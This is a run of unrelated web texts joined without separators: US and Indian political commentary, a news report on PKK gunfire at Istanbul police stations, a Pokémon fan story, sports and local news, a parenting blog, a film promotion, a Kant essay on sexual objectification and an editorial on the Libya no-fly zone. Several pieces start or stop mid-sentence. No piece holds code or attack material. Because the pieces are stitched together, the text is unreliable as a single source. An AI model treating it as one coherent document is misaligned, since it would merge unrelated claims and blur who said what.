Millennials. This clearly had an effect. Young voters abandoned Clinton in much greater numbers than older voters (about 5 percent vs. 1 percent, by my calculation). Likewise, third parties got about 9 percent of the millennial vote, compared to 3 percent of the older vote. There’s not much question that Clinton did poorly among millennials, and this reduced her overall vote total by 1-2 percentage points. The question is why this happened. The options are (a) Clinton was a corrupt, neoliberal sellout that young voters were never likely to warm up to, or (b) Bernie Sanders convinced millions of millennials that Clinton was a corrupt, neoliberal sellout who didn’t deserve their vote. Take your pick.
Voter suppression. This had, at most, a small effect. Among the key “firewall” states that Clinton lost, Pennsylvania has no voter ID law; Michigan has a loose ID law that allows you to vote without ID if you sign an affadavit; and Wisconsin has a strict photo ID law. Wisconsin was very close, and voter ID might have made the difference there. But Clinton still would have lost.
The electoral college. Yeah, there was that.Outlawed PKK supporters staged demonstrations on Tuesday in the neighborhood of Gazi in Istanbul under the cloak of protesting Monday's terrorist attack which killed 31 civilians and injured 76 in Suruç district of southeastern city of Şanlıurfa.
In the unauthorized demonstration the supporters of the outlawed terrorist organization were seen carrying posters of several people that died during Monday's bombing as they shouted slogans and marched along the streets. The protesters' faces were covered in red veils and some were carrying assault rifles.
The terrorists also attacked offices and vehicles with long barreled weapons in several neighborhoods across Istanbul and later opened fire against police officers.
The unidentified terrorists attacked two police stations with long-range caliber weapons, one in Küçük Armutlu neighborhood in Sarıyer district and another in Gazi neighborhood in Sultangazi district.
Two police officers were slightly injured in the attack which took place in Gazi. Police officers of the station immediately responded to the shots.
No officers were injured in the attack in Küçük Armutlu.
The investigation following the incident in Gazi showed that the attack was carried out from a slum 150 meters away from the police station, while eleven bullets hit the police station.Once upon a time, a Machop was born. As this Machop grew it heard many wonderful tales of the legendary Godslayers of old; who rose up against the oppressive god Lord Helix and with the help of their trainer, who himself was a host for the legendary entities know as the voices.
Fascinated with AJ and the Godslayers, he learned everything he could about them. His love for them grew every time he heard a new story about them. Finally one day the Machop decided to dedicate his life to following in their footsteps. He even went so far as to change his name to AJ, the name of the trainer who helped the Godslayers achieve their goal. He trained day and night until he eventually evolved, and then he trained some more, trying to make himself as strong as he could be.
One day he heard rumors that the current host of the voices was passing through the area. Deciding that he would join with the current host of the voices, the entities that had helped develop his childhood heroes he ran to where he had heard that the voice host had been sighted.
Eventually he found a strange trainer traveling with a group of very unique Pokémon. His movements seemed very erratic and twitchy. ‘That’s him! It has to be, he’s just like the story’s said he would be like. I’m going to join his team!’ AJ thought to himself before rushing out into the open and intercepting the voice host and blocking his way forward before yelling.
“VOICES! I AM AJ THE MACHOKE, AND I WILL NOT LET YOU PASS UNTIL YOU LET ME JOIN YOU!” After a short battle the voice host threw a ball at him and AJ let himself be captured. ‘I did it! I’ve been captured by the voices! YES’ AJ thought to himself as the ball he was captured in was sent to the PC.
Upon realizing that he had been sent to the PC, AJ became sad. ‘Am I not good enough for the voices?’ he thought to himself as he started to cry “Did I just let myself get captured for nothing?” he said out loud without thinking.
“No. Not for nothing.” a voice responded to him. Turning to the source of the voice AJ saw it was an Aerodactyl. “You see, a while ago the border between the Distortion World and this one was breached, the gods were able to quarantine this breach, but not before it did great damage to the very fabric of this universe causing it to start to slowly decay and fall apart. So to fix this the gods have enacted a plan.
The current host of the voices, the trainer who has captured you, is currently on a quest to capture one of every Pokémon in the region of Kanto in order for his Pokedex, an electronic portable Pokémon encyclopedia designed to collect info on Pokémon to collect data on all of them. The gods believe by collecting enough data that they can use it to repair the damage to the universe.
In short, simply by being here you’re helping to save this entire universe!”
Dumbstruck AJ could only stand there with his mouth hanging open until the Aerodactyl started to turn away and leave when he regained his senses and asked “Who? Who are you? And how do you know all this?”
The Aerodactyl briefly paused before saying “I think you already know the answer to that, AJ!” before flying off.
‘Well things might not have turned out like I expected, but it’s not like I can complain.’ AJ thought to himself ‘I might not be walking alongside the voices and helping their current host, but then again, I’m helping to save the ENTIRE UNIVERSE. What more could a Pokemon want!’ and he smiled.About
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They come in a choice of 5 colours Red, Orange, Blue Green & Pink!Asserting that the Congress Party has always maintained its dignity and followed protocol in politics, the grand old party on Tuesday hailed its vice-president Rahul Gandhi, saying the way he stopped the
Opposition from raising slogans against Prime Minister Narendra Modi showed how great a personality he was, adding that the Bharatiya Janata Party (BJP) should learn a lesson instead of trolling him.
"Rahul Gandhi has always asked us to follow protocol and morality in politics. He has always been of the opinion that one should not use foul language. Whenever we talk about the Prime Minister, we talk in a very decent manner. This is the reason, when slogans were raised against the Prime Minister, Rahul Gandhi, instead of encouraging them, said that such sloganeering should not be done. This elevates the stature of Mr. Rahul Gandhi and the people of BJP who are busy trolling him should learn a lesson," said Afzal.
Also, holding the BJP responsible for stalling parliament, Afzal said the party did not let function Parliament because it was under the fear of getting exposed by Rahul Gandhi.
"It was the BJP which stalled parliament during the last days of the session. The party did not let Rahul Gandhi speak on the floor, because it was afraid that he might reveal something explosive."
Rahul Gandhi, on December 14 alleged the government was not letting him speak in parliament because he had personal information about the Prime Minister's corruption.
"The way their Parliamentary Affairs minister criticised the Congress, it shows that democracy holds no value in the eyes of this government," he added.
Shifting his focus towards demonetization, the Congress leader reminded the government of pointing out the loopholes in the scheme which they ignored, but were facing the same now.
"The government, till now, has made 125 rules related to demonetization. When we pointed out that the government has announced the move without any preparedness, they didn't consider it and now they are coming up with new rules every single day. This proves that the government did not take anything into consideration. They inflicted pain on 125 crore people, out of whom many even died."
Commenting on the recent development over Employees' Provident Fund (EPF), reducing its interest rate from 8.8% to 8.65 %, Afzal said the government was not ready to spare anybody.
"Till now, the workers, labourers, the poor were in distress, but now the service class is on target. This attack is very shameful. They are not ready to spare anyone," he said.For most foreigners, Germany is little more than Oktoberfest, the Alps, beer, lederhosen and the Bayern Munich football club. The stereotypes, though, apply to just one corner of Germany -- the state of Bavaria, which happens to be Germany's biggest and richest.
Much of the rest of the country, though, regards this wealthy southern colossus with a mixture of bemusement, derision and loathing. It's like a German version of Texas.
Getty Images The Bavaria Party's campaign aims to persuade other Germans that they would be better off without Bavaria.
Now a Bavarian separatist party is hoping to harness this animosity in the European parliamentary elections. The tiny Bavaria Party has come up with a tongue-in-cheek posters asking "Don't you want to get rid of the Bavarians?" which feature a woman in traditional dirndl and a man in lederhosen walking away as they wave goodbye.
The party, which has been campaigning for an independent Bavarian nation since the 1940s, has even set up an accompanying Web site. It asks: "Honestly, don't the Bavarians annoy us all?" and then proceeds to list all these annoyances, such as the "senseless jabbering," and sense of superiority as well as all those "pointless mountains and boring lakes." The site says that Bavaria never really belonged to Germany and "is better suited to Austria than us." The tract ends with the rallying cry: "Whoever finally wants to kick Bavaria out of the Federal Republic of Germany, simply needs to give their vote to the BP -- in all of Germany."
Richard Schoeps, spokesman for the Bavaria Party, says that the campaign is of course intended to be "ironic," aimed at poking fun at the way other Germans regard Bavaria as well as publicizing the party.
The party is campaigning all across the country in the hopes of leaping the 5-percent hurdle necessary to send delegates to the European Parliament. "We want an independent sovereign state of Bavaria within a Europe of regions," he told SPIEGEL ONLINE on Wednesday. "We know what other Germans say about Bavaria. We were chatting about how we could sell ourselves better and started joking and that's how the idea of the poster came up."
Schoeps says the campaign has indeed succeeded in drawing attention to the party, which has just 5,000 members, the vast majority of whom are in Bavaria. The party is hoping to outdo its paltry 0.4 percent result in the 2004 European vote. "We definitely think we will do better this time," he says.
Schoeps admits that some other Germans might vote for his party simply because they really don't like Bavarians or just don't take the European elections all that seriously, but he hopes others will do so because they support their cause.
"Some will have seen our posters and read our campaign program and maybe they support more decentralization." And he even hopes the idea will spread beyond Bavaria's borders. "Maybe they will now want independence for their states too."“Be worthy of your game.” ~ George Bird Evans
Learning to process game meat has been an eye opening experience. It is a challenging and ever-evolving labor. Cleaning a harvest is different, not only for different groups of animals, but even for different species within a specific subgroup of animals. For example, it is obvious that a fish is cleaned differently than a duck, but it isn’t always obvious that a duck may be cleaned differently than a goose, or even another species of duck. Cleaning also varies on how you plan to prepare or use the animal. I feel I have only touched on the surface of cleaning animals.
Cleaning is just the beginning step of processing game meat too. |
in Washington who can move his agenda, and he should recognize that Republicans in Congress are a source of expertise and counsel. If he uses them as allies and forms common cause, he can make his first two years the most significant since Reagan’s first term. If he goes to war with them for reasons of pique, or over marginal policy differences, Democrats will be eager to inherit the wreckage—and drive him out of office after four years, if not earlier.
***
The biggest wild card of this Presidency is foreign affairs, where Mr. Trump has instincts but no experience and his penchant for impulsive comments can be unnerving. Mr. Obama worried U.S. friends because he was intent on courting adversaries at their expense. Mr. Trump needs to reassure allies who fear that his “America first” slogan is merely different political cover for a similar U.S. retreat. At least his defense buildup will impress friends and foes, assuming he doesn’t abandon it for budget reasons.
Foreign policy is where his shoot-from-the-lip tendencies create the most trouble. His slap this week at German Chancellor Angela Merkel is the kind of comment that rankles without purpose. If Mr. Trump pursues his own “reset” with Russia without Europe on board, he’ll achieve Vladimir Putin’s goal of dividing the U.S. from Germany and never get the NATO spending increases Mr. Trump wants.
He should also ease up on Mexico, lest his trade bullying push that neighbor to the anti-American left and end decades of economic progress. If he thinks illegal immigration is a problem now, wait until the election of a left-wing Mexican populist.
***
Mr. Trump promised to disrupt the status quo, and to succeed he will have to. How he goes about it will be an adventure—not least in a White House that appears to have at least six major power centers. Management by “chaos” can be messy. Then again, Mr. Trump’s cabinet choices are better than those of the last two Presidents, and in some cases (James Mattis) they are inspired.
The Never Trump opposition will be fierce, but the public will await the results. President Trump’s success will depend above all on delivering on his promises of prosperity at home and greater respect for America abroad."You will never defeat me!" - Leoric, The Skeleton King
Once the good and noble king of Khanduras, Diablo’s influence slowly turned Leoric to madness before he was slain by his own captain and raised from death to serve the Burning Hells as the Skeleton King. Rising from the Royal Crypts below the Tristram Cathedral, Leoric is ready to wade into enemy heroes with his towering mace and add to his army of the dead.
The Skeleton King is a melee Warrior that never truly leaves the battlefield, making him a formidable opponent not to be taken lightly. Skeletal Swing will slow enemies down while Drain Hope can weaken others and sustain you during the fight. Should anyone try to get away, Wraith Walk should help close the distance and seal their fate. If Leoric is brought down, the Undying trait will allow you to stay on the battlefield as a ghost until your health regenerates to full, putting you back in the action.
Be sure to check out Leoric’s Hero Page and spotlight video to get an even more in-depth look at this ghastly hero’s abilities!Web staff, cp24.com
The 2012 Victoria Day long weekend is here and if you're staying in the city, there's still plenty to do.
Sunny skies will continue to shine over Toronto Monday as temperatures are expected to reach 27 C. However there is a chance of rain showers tonight.
In the meantime, CP24 has you covered with a full list of what's open and closed:
Closed:
LCBO and beer stores
Banks
Government offices
No mail delivery or garbage pickup
Schools and libraries
Most grocery store
Yorkdale Shopping Mall
Art Gallery of Ontario
Open:
TTC and GO Transit will be on holiday schedules
Toronto Island Ferry will run on the regular spring schedule
The Eaton Centre is open between 10 a.m. and 6 p.m.
Vaughan Mills is open between 10 a.m. and 7 p.m.
Square One is open between 11 a.m. and 6 p.m.
Pacific Mall is open between 11 a.m. and 8 p.m.
Select stores in the Bloor-Yorkville shopping district
Keep in mind, most tourist venues in the downtown core including the Royal Ontario Museum, Queens Quay and the CN Tower are open today.
Your family can also enjoy one of the many festivals happening around town, including the Inside Out Film Fest, Contact Photography Festival and Toronto International Circus Fest.
Fireworks will be lighting up the sky Monday night at Ashbridges Bay. The fireworks display will begin at 9:30 p.m., rain or shine.
Police are urging the public to take public transportation as several local roads will be closed for the fireworks display.Please enable Javascript to watch this video
CUYAHOGA COUNTY - An 18-year-old teen was found safe in Northeast Ohio on November 1 after he had been missing for the last 13 years.
Julian Hernandez was only 5 when he was allegedly taken by his father Bobby Hernandez from Birmingham, Alabama. Hernandez was supposed to be taking Julian to preschool that day, but he was never dropped off.
He was reported missing by his mother.
When Julian went missing, authorities suspected he was taken by Bobby as a non-custodial parent abduction.
Members of the FBI, the National Center for Missing and Exploited Children, Vestavia Hill Police Department and the Birmingham Division of the FBI located and positively identified Julian and arrested Bobby.
Bobby was charged in Cuyahoga County in connection with the abduction.
Hernandez also will face charges in Jefferson County, Alabama for the abduction from 2002.
Julian's mother was notified about him being found in Ohio.
The investigation is ongoing and Hernandez may face more charges.Tottenham Hotspur manager Mauricio Pochettino is "like a father" to his players, midfielder Victor Wanyama has told FourFourTwo.
Wanyama, 25, joined Tottenham from Southampton for £11 million in the summer, reuniting with Pochettino who brought him to St Mary's from Celtic in 2013.
And the Kenya international says his relationship with the former Saints boss played a significant part in his decision to move to Spurs.
"He played a big part in convincing me to join the club," he said. "I had a few options but he was able to convince me to come here because I had worked with him before and know he is a manager who will improve players.
"Also, the club is in the Champions League, and has the chance to do well in the Premier League, too. He said to me that I should come and try to achieve some things with this club, and that they could win trophies.
"Pochettino is a really good person outside football as well as in football. He's like a father figure [to the players], always speaking with everyone and giving them advice. All of the players look up to him as a father figure and also as a manager."
Spurs are currently second in the Premier League table after seven matches and remain the only unbeaten team following their 2-0 win over Manchester City last time out.
Pochettino's side pushed for the title last season, eventually finishing third, and they are being tipped for another challenge after their victory against Pep Guardiola's men.
"I think this club is up there with Celtic. It's a big club and you can feel that in the dressing room," Wanyama said. "We have young players who want to work hard and who are very ambitious, which is a very good thing.
"It's easy to just say we can win the league, but if we work hard then anything is possible. We don't talk about the title as a target. Our target is to improve on last season's position."
Wanyama was initially tipped to act as deputy for Eric Dier in the holding-midfield role, but the only match he has missed so far has been Spurs' sole defeat of the season -- the 2-1 loss to Monaco in the Champions League.
"Every player has his own style, and it's when they all combine that they really help the team," Wanyama said. "My style? I like to win the ball, I like to tackle -- but if I get the chance then I like to bomb forward and try to get goals, too.
"I think I'm well suited to the English game, because getting stuck in is not a problem for me. I'm OK with the physical side of the game.
"The squad here is full of nice people; everyone has been willing to help. There are some big characters here -- Jan Vertonghen, Son [Heung-Min], Ben Davies. They're funny guys. So far it's been great."
Dan is ESPN FC's Tottenham correspondent. Follow him on Twitter: @Dan_KP.Many people are crossing their fingers they don't get stuck on the highway on their way up to the mountains to celebrate New Year's Eve.
Some are already having painful flashbacks to last weekend when I-70 was shut down between Golden and Vail.
Making sure you get where you're going in one piece is essential to the Colorado Department of Transportation. Unfortunately, CDOT spokesperson Stacia Sellers said that sometimes means having to shut down a highway.
"We never want to close the interstate but sometimes it's just hard to avoid," Sellers said.
It's especially difficult to avoid when wind speeds get as high as they did on Friday or when the road to fun is covered in snow like over the Christmas weekend.
People were "just not in the holiday spirit," according to Sellers.
CDOT says it's not their mission to make you unhappy but it is their job to watch out for you on the highway by constantly checking the weather as well as traffic conditions. Sellers said CDOT works with Colorado State Patrol and local agencies to find out what those conditions look like.
Depending on what they find, they say they may have to shut the highway down.
"It's sometimes the way of the game, especially driving in the mountains," Sellers said.
The good news is that no one can ever be trapped in the part of the highway that's been shutdown.
"They can still continue through I-70 and then once they get to a closure point, our CDOT maintenance crews or Colorado State Patrol troopers will open that closure point so they can go through," Sellers said.
Something CDOT does to help drivers who are slowed down is try to make sure closures are placed near an off-ramp by a town so they can stop at a hotel or restaurant while they wait for the highway to reopen, according to Sellers.
Sellers said that while safety is their number one priority, drivers have to do some legwork of their own and check on conditions, too.
In the end, she said drivers have to be the ones to make the judgment if they're going to chance getting stopped by a closure.
Copyright 2017 KUSARoy Hodgson is giving serious consideration to calling up Danny Drinkwater for the March friendlies against Germany and Holland as the central midfielder continues to star in Leicester City’s remarkable title bid.
England manager Hodgson was in the stands at the King Power Stadium as Drinkwater impressed in Leicester’s 2-0 victory over Liverpool last Tuesday and will have the 25-year-old monitored in the coming weeks.
Drinkwater was again excellent as Leicester won 3-1 at Manchester City to go five points clear at the top of the table and though Hodgson likes to keep faith with players who have performed well for him, he is not ruling out fresh additions to his squad.
Danny Drinkwater (left) produced another impressive performance as Leicester beat Manchester City 3-1
The Foxes holding midfielder could get a call-up for England's friendlies against Germany and Holland
England boss Roy Hodgson (left) could be tempted to give the uncapped midfielder a chance
DRINKWATER STATS 2015-16 Appearances: 23 Goals: 1 Shot accuracy: 36% Chances created: 32 Pass accuracy: 78% Duels won: 41% Avg defensive actions: 4 Yellow/red cards: 2/0
The 68-year-old has often been bold in his selections, handing Jamie Vardy his first cap last summer and promoting Dele Alli early this season.
On Thursday Hodgson is hosting a get-together at St George’s Park of around 40 players who have featured in the Euro 2016 qualifying campaign and recent friendlies, meaning no new faces, but Vardy is expected to attend.
The gathering is a chance for Hodgson to give an in-depth debrief of the November games against Spain and France and look ahead to the matches against Germany and Holland.
It also provides opportunity for players to catch up in relaxed surroundings and for Hodgson, should he wish, to get testimony from Vardy on Drinkwater’s abilities and mentality.
The Premier League top scorer would provide a glowing reference if asked. Drinkwater frequently provides Vardy with early balls to match his runs.
Drinkwater would be competing with he likes of Eric Dier (left) for a Three Lions starting spot
Hodgson has options in central midfield but no player has staked an unshakeable claim to the holding position, a role Drinkwater has excelled in this season, breaking up play and beginning attacks.
Eric Dier made his debut in the November games, while Hodgson likes Fabian Delph and Jonjo Shelvey too. Jack Wilshere would be a instant selection but his injury record is putting that in doubt, while Michael Carrick is an automatic pick if fit. Tom Cleverley could also be considered.
Drinkwater, though, has played all but two games for a side chasing the title and is in excellent form. Hodgson is thinking about tapping into that positivity.While I was pregnant, every other person seemed to tell me to ‘never turn down any offer of help.’ In the simmering heat of last summer, I think I gave each of those people a sideways look and a big halfway grin while nodding my head politely and thinking to myself, “Suuuure… don’t turn down any help? Whatever. I am a very capable, independent and resourceful person—I think I can handle one baby.”
What I didn’t realize was that “help” comes in many forms, all of which are some flavor of “awesome.” Sure, I have a freezer full of Alaskan salmon (thanks, Buddy!), green chile and frozen soup from my mom; my husband has a flexible work schedule that allows him to sometimes work from home. And, I’m taking the semester off from grad school, so I don’t have teaching or grading expectations to keep up with. All of these things have definitely helped me through the transition from pregnant person to new mom.
One thing I have found to be more important than I ever imagined has been my “mom friends.” This valuable resource was unlooked for initially; my husband says I have “hermit-like” tendencies: I have no trouble taking myself out to dinner, going to the movie theater by myself, spending 3+ hours happily running by myself (no iPod!), and I have spent weeks alone on backpacking trips.
But, hermitting away as usual in the early stages of my pregnancy, I realized that although the internet is a great resource, I needed some real, live women I could share my experiences with. Women whom I could ask the seemingly random or slightly embarrassing questions to, who would nod along if I suddenly burst into tears, or with whom I could sound off on whether what I was feeling, doing or eating was “normal.” Basically, someone who could empathize with what I was experiencing. Although it may have taken a few awkward “Sooooo, I see you’re pregnant. Check it out [points to large belly], so am I! You come here often? Wanna hang out? Fancy a date at the zoo?” pick up lines, these women became one of my greatest pregnancy – and now motherhood – resources.
Our questions have evolved with us: what our babies are (or are not) doing compared to peers, how another mom may be approaching changes in sleeping/nursing/illnesses/returning to certain activities/______________ (fill in the blank with parenting anything), remedies for sleeplessness, coping with body version 3.0, or if the emotions and thoughts we may be experiencing are truly as wacko as they sometimes seem. Sometimes I need a friend to vent my petty frustrations, after which I can move on peacefully. Or I need to unabashedly brag about how great my baby did holding her head up during tummy time, or how she slept 5 hours straight (a rare, treasured experience definitely warranting bragging about), or who will appreciate her totally matching, color-themed ensemble.
Most of all, I need these mom friends as people who will tell me that the sleep regression/first cold/fussiness from shots/milk duct infection/_____(fill in blank with scary/unpleasant thing) will pass, that I’m doing a fine job, that I am not failing as a mother. These mom friends will remind me that even though while I am lost in the abyss of sleep deprivation time seems to slow to a standstill, that “this too shall pass,” and can help me find humor in both myself and just about any situation.
While I would never have thought it a year ago, I am now the proud member of a new group of mom friends – and the best thing is that each mom seems to know another mom, and so my circle of friends continues to grow and diversify. I might have laughed at the idea of arranging mom dates a year ago in lieu of a solo brunch with my computer or a journal article; I now embrace trips to the zoo, playdates for crafts and baby jogger outings as opportunities to gain insight and perspective, to draw on the larger collective parenting wisdom, enjoy the humor of parenting situations and enjoy the strength of other moms.The long-awaited bigfoot horror comedy Love In The Time Of Monsters is getting its world premiere at San Jose, CA’s Cinequest Film Festival on March 8th at midnight. Directed by Matt Jackson and starring Kane Hodder (Friday The 13th), Doug Jones (Hellboy), Marissa Skell (Scream Queens), and many more, the film follows, “…two sisters, Carla and Marla, who travel to a cheesy tourist trap where they battle toxic monsters dressed in bigfoot costumes in order to save the ones they love.“
Down below we’ve got not only a badass poster for the film but also an exclusive music video premiere from Thünderdikk for “Magnum Love”, which uses never-before-seen footage from the film!
Make sure to pick up your copy of Magnum Love on iTunes. Also, make sure to check out Cinequest’s lineup here.
From Dikk Thünder: “I liked ‘Love in The Time of Monsters’. But I’m thinking the sequel should be called ‘Love in The Time of Thünder’. It just has a great ring to it. Of course, there would have to be even more nudity and partying. And each band member needs a cameo in the film…and a Camaro in the film! We will definitely all need Camaros. Yeah, I’ll do it, I’m in.”
Thünderdikk online:
Official Website
Facebook
Twitter
YouTube
Soundcloud
Love In The Time Of Monsters online:
Website
YouTube
Twitter
Facebook
Blog
Band photo and album cover by Jacquelyn Mason-DraytonHillary Clinton has added the Democratic National Committee to her enemies list. The former secretary of state and two-time presidential loser accused the DNC of handing her a shoddy and bankrupt data operation that contributed to her upset loss to Donald Trump. This shooting inside the ship has rankled Democrats, but DNC chairman and former Labor Secretary Tom Perez really doesn’t want to comment on whether she’s the leader of the party and co-chair Rep. Keith Ellison (D-MN) avoided offering remarks about the former secretary trashing the committee.
Yet, it was unavoidable. On MSNBC’s Morning Joe, BBC’s Katty Kay asked about Clinton’s criticism, where Ellison tried to pivot to say that the DNC was moving forward, that Hillary Clinton was a really nice lady, and oh yeah—Trump is a monster. Co-host Mika Brezinzski wasn’t having any of it though:
MIKA BRZEZINSKI: Yeah, I know it’s a lot of platitudes. I’m actually interested in information, though. REP. ELLISON: It's not platitudes. BRZEZINSKI: I mean she says it was bankrupt. She says it was totally disorganized. She says it was a complete mess. Is that the case? KAY: And they didn't give her anything. BRZEZINSKI: And they didn't give her anything. Is that true? REP. ELLISON: Let me tell you, you know, we can't relitigate the past. You know -- BRZEZINSKI: Man, no. REP. ELLISON: But the truth is – no, seriously, let me finish my point. The truth is that Trump is getting rid, is abandoning climate action. He is taking away people's protection for pre-existing conditions. He is trying to ban people based on their religion. There is no time for us to go back and try to figure out who shot John. We’ve got to figure out what went wrong so we can fix it and then move forward in an aggressive way. BRZEZINSKI: I just don't know what you said -- REP. ELLISON: That's where I’m at. BRZEZINSKI: -- at all.
CNN’s Chris Cuomo interviewed Perez and he also deployed countermeasures over whether Hillary, a self-described member of the resistance against the Trump agenda, is the face and leader of the party. Perez said that the party has a lot of leaders out there.
It’s part of the problem that Democrats face, which Naftali Bendavid of The Wall Street Journal brought up with CNN’s John King. Clinton is a party heavyweight, but she’s easily made into a villain, she’s not popular, and she could be dead weight to Democrats heading into the 2018 midterms; a reason why many would rather she just went away. But that’s not happening any time soon.Resting Model, 1839 by Constantin Hansen. Courtesy Ny Carlsberg Glyptotek, Copenhagen/Wikipedia
The 18th-century philosopher Immanuel Kant believed that human beings tend to be evil. He wasn’t talking about some guy rubbing his hands and crowing with glee at the prospect of torturing an enemy. He was thinking about the basic human tendency to succumb to what we want to do instead of what we ought to do, to heed the siren-song of our desires instead of the call of duty. For Kant, morality is the force that closes this gap, and holds us back from our darker, desiring selves.
Once desire becomes suspect, sex is never far behind. Kant implicitly acknowledged the unusual power of sexual urges and their capacity to divert us from doing what is right. He claimed that sex was particularly morally condemnable, because lust focuses on the body, not the agency, of those we sexually desire, and so reduces them to mere things. It makes us see the objects of our longing as just that – objects. In so doing, we see them as mere tools for our own satisfaction.
Treating people as objects can mean many things. It could include beating them, tearing into them, and violating them. But there are other, less violent ways of objectifying people. We might treat someone as only a means to our sexual pleasure, to satisfy our lust on that person, to use a somewhat archaic expression. The fact that the other person consents does not get rid of the objectification; two people can agree to use one another for purely sexual purposes.
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But don’t we use each other all the time? Many of us have jobs – as cleaners, gardeners, teachers, singers. Does the beneficiary of the service objectify the service provider, and does the service provider objectify the recipient by taking their money? These relationships don’t seem to provoke the same moral qualms. Either they do not involve objectification, or the objectification is somehow neutered.
Kant said that these scenarios weren’t really a problem. He draws a distinction between mere use – the basis of objectification – and more-than-mere use. While we might employ people to do jobs, and accept payment for our work, we don’t treat the person on the other side of the transaction as a mere tool; we still recognise that person’s fundamental humanity.
Sex, though, is different. When I hire someone to sing, according to Kant, my desire is for his or her talent – for the voice-in-action. But when I sexually desire someone, I desire his or her body, not the person’s services or talents or intellectual capabilities, although any of these could enhance the desire. So, when we desire the person’s body, we often focus during sex on its individual parts: the buttocks, the penis, the clitoris, the thighs, the lips. What we desire to do with those parts differs, of course. Some like to touch them with the hand, others with the lips, others with the tongue; for others still, the desire is just to look. This does not mean that I would settle for a human corpse: our desire for human bodies is directed at them as living, much like my desire for a cellphone is directed at a functioning one.
But, one might object, don’t we do sexual things because we love our partners, and want them to feel pleasure? Of course we do. But if we did so when we didn’t want to in the first place, then we do not do it out of sexual desire. And if we don’t do it out of sexual desire, then the problem of objectification does not present itself. We can enjoy sexually pleasing someone else. But you can think of the other person as a sophisticated instrument: to give the maximum pleasure, we have to please it. Just because I have to oil and maintain my car for it to work does not mean it is any less of an instrument.
Sex doesn’t just make you objectify your partner. It also makes you objectify yourself. When I am in the grip of sexual desire, I also allow another person to reduce me to my body, to use me as a tool. Kant saw this process of self-objectification as an equally, if not more, serious moral problem than objectification directed outwards. I have duties to others to promote their happiness, but I also have a duty to morally perfect myself. Allowing myself to be objectified opposes this precept, according to Kant.
But really, what’s the big deal? Yes, we objectify each other in sex and let ourselves be objectified. Worse things have happened and will happen. At least with sex there is pleasure (if all goes well) and lots of it (if all goes really well). Whatever is wrong with sexual objectification can’t be that bad, surely?
But there’s a snag. The capacity to reason is what makes people ends in themselves, worthy of moral respect, according to Kant. And what’s objectifying about sexual desire is its ability to numb a person to reason, both in themselves and in others. Its power is such that it makes our reason its servant: our rationality becomes the means to satisfy its goals. It has been the downfall of kings and leaders; the ruination of relationships; the seedbed of lies in the pursuit of getting laid (‘Me too! I love atonal music!’). In my pursuit to fulfil it, I cheat, I deceive, I pretend to be not who I am – and not just to the other person, but to myself, too. I set aside the other’s rationality, and in doing so, set aside their humanity. That is not my concern; his or her body is.
Is it possible to have sex without objectification? Of course. Prostitutes do it all the time. So do many long-term couples. They have sex with people whom they do not desire. And with no desire, there is no objectification. Not even love can fix it. When the desire is high, when the sexual act is in full swing, my beloved is a piece of flesh. (Though love does lead to occasional cuddling, which is nice.)
I agree with Kant that sexual desire and objectification are inseparable, and a force that morality must reckon with. Sex is like any good dessert: delicious but with a price.Ready to fight back? Sign up for Take Action Now and get three actions in your inbox every week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and get three actions in your inbox every week.
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Editor’s Note: An earlier version of the editorial below appeared in our April 4 print issue. Ad Policy
As the democratic awakening sweeps across the Arab world, the Obama administration is struggling to find the right balance between short-term crisis management and the longer-term need for a new approach that breaks with Washington’s dark history of military intervention and support for autocratic regimes. After some initial missteps, the administration was able to strike, more or less, the right balance in the case of Egypt, using its ties with the Egyptian military to help nudge Hosni Mubarak from power without distracting from the historic display of people power in Tahrir Square.
The latest challenge comes from the deteriorating situation in Libya, where the rapid advance of forces loyal to Col. Muammar el-Qaddafi threatened the defeat of rebel forces. Our natural tendency is to want to help end Qaddafi’s despotic rule and to save the lives of those bravely resisting his onslaught. But it is a difficult challenge to take action that has a reasonable chance of success but that does not arouse popular—and well-founded—suspicions of neoimperial intervention. The catastrophic invasion of Iraq hangs heavy in the Arab world, and Washington’s role in the Middle East is still deeply compromised, with US military aid to repressive regimes like Bahrain and Saudi Arabia now being used to crush peaceful protest and demands for democracy.
As the violence intensified in March, the White House faced a chorus of voices from respected liberals like Senator John Kerry, as well as from perennial hawks like Senators John McCain and Joe Lieberman, calling for a no-fly zone. The administration was right to resist those calls in favor of a series of UN Security Council–mandated measures—freezing the regime’s assets, imposing sanctions on Qaddafi and his associates and organizing humanitarian assistance—that fell short of military action. The administration has also opened up contacts with the opposition but has not recognized it or provided arms.
Finally, as Qaddafi’s forces closed in on Benghazi, and after the Arab League voted in favor of a no-fly zone, the White House on March 17 joined Britain, France and other members of the UN Security Council in passing a Chapter VII resolution authorizing member states "to take all necessary measures…to protect civilians and civilian populated areas under threat of attack" by Qaddafi’s forces "while excluding a foreign occupation force of any form on any part of Libyan territory."
There are strong arguments in favor of the White House decision. First, there were legitimate worries that Qaddafi’s forces would carry out massacres after recapturing Benghazi and other rebel-held areas. Second, the United States did not lead the charge but acted only after desperate pleas by Libyans under siege and at the urging of Arab League and other multilateral institutions. And Washington has made clear that implementation of the NFZ will have to be genuinely multilateral. So far, the White House has acted with caution and respect for international law. And Qaddafi’s declaration of a cease-fire immediately after passage of the resolution gave hope that it might, through intimidation alone, change the balance of forces and lead to the rapid erosion of his support.
But there are also many reasons for skepticism, and it is far from certain that the NFZ will not lead to other disasters. First, it is not clear that UN forces will be able to avoid civilian casualties. No-fly zones have, at best, a mixed record as a form of humanitarian intervention. Libya may not present the same military challenge as Iraq or Serbia did in the past, but the United States or allies still might have to undertake bombings and cruise missile attacks to suppress Libyan air defenses; no doubt many of these are located in civilian areas. Some civilian casualties therefore seem inevitable. Even with Arab League and other regional support, the prospect of civilian casualties from US military action risks turning this into a story of American intervention. Up to now, the democratic awakening has opened up the Arab world’s future because it has been undertaken by the Arab people, who now believe they have control over their own destiny. We should avoid actions that change that narrative.
Second, even if a no-fly zone can be implemented with minimum civilian casualties, we don’t know if it will save lives or tilt the playing field toward the rebels. Air power does give Qaddafi some advantages, but a no-fly zone might do little to stop his forces from attacking and murdering the opposition using other means if he chooses to ignore or abrogate the cease-fire. And beyond grounding Qaddafi’s air force, the NFZ would not erode his other substantial military advantages; indeed, as the conflict progressed, his tanks, artillery, sea power and better-armed infantry put rebel forces on the defensive.
